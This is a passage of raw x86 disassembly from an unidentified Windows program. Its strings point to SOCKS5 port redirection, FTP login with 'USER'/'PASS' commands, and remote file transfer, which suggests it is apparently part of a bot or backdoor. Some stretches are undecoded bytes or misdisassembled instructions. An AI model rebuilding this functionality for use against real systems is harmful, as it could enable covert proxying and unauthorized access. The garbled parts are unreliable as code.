asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6DD push offset byte_448F30 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A4D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 3365E851h dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call near ptr 77C46125h nop mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx call near ptr 77C1C561h nop add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 0C681875h, 0E8004474h, 778091FEh, 4C48390h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 447404h, 91ACE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 4473F468h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h dd 73EC6824h, 13E80044h, 90778091h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: ___:0042E556p ; sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" call near ptr 77C36DF2h nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103A8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call near ptr 77C47A90h nop push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103A8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp call near ptr 77C46170h nop add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471E4 ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103A8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h jo short near ptr byte_42E5AA inc esp add al, ch mov ch, 88h xor byte ptr [edi-70h], 83h les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42DE00 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 3Ah dup(0CCh) byte_42E5AA db 6 dup(0CCh) ; CODE XREF: ___:0042E534j ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push ecx lea edx, [esp+114h+var_100] push offset dword_4474B8 push edx call ebp mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474B0 ; jumptable 0042E641 case 1 mov dl, byte_4474B4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474A8 ; jumptable 0042E641 case 2 mov cl, byte_4474AC mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474A0 ; jumptable 0042E641 case 3 mov al, byte_4474A4 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_447498 ; jumptable 0042E641 case 4 mov dl, byte_44749C mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push 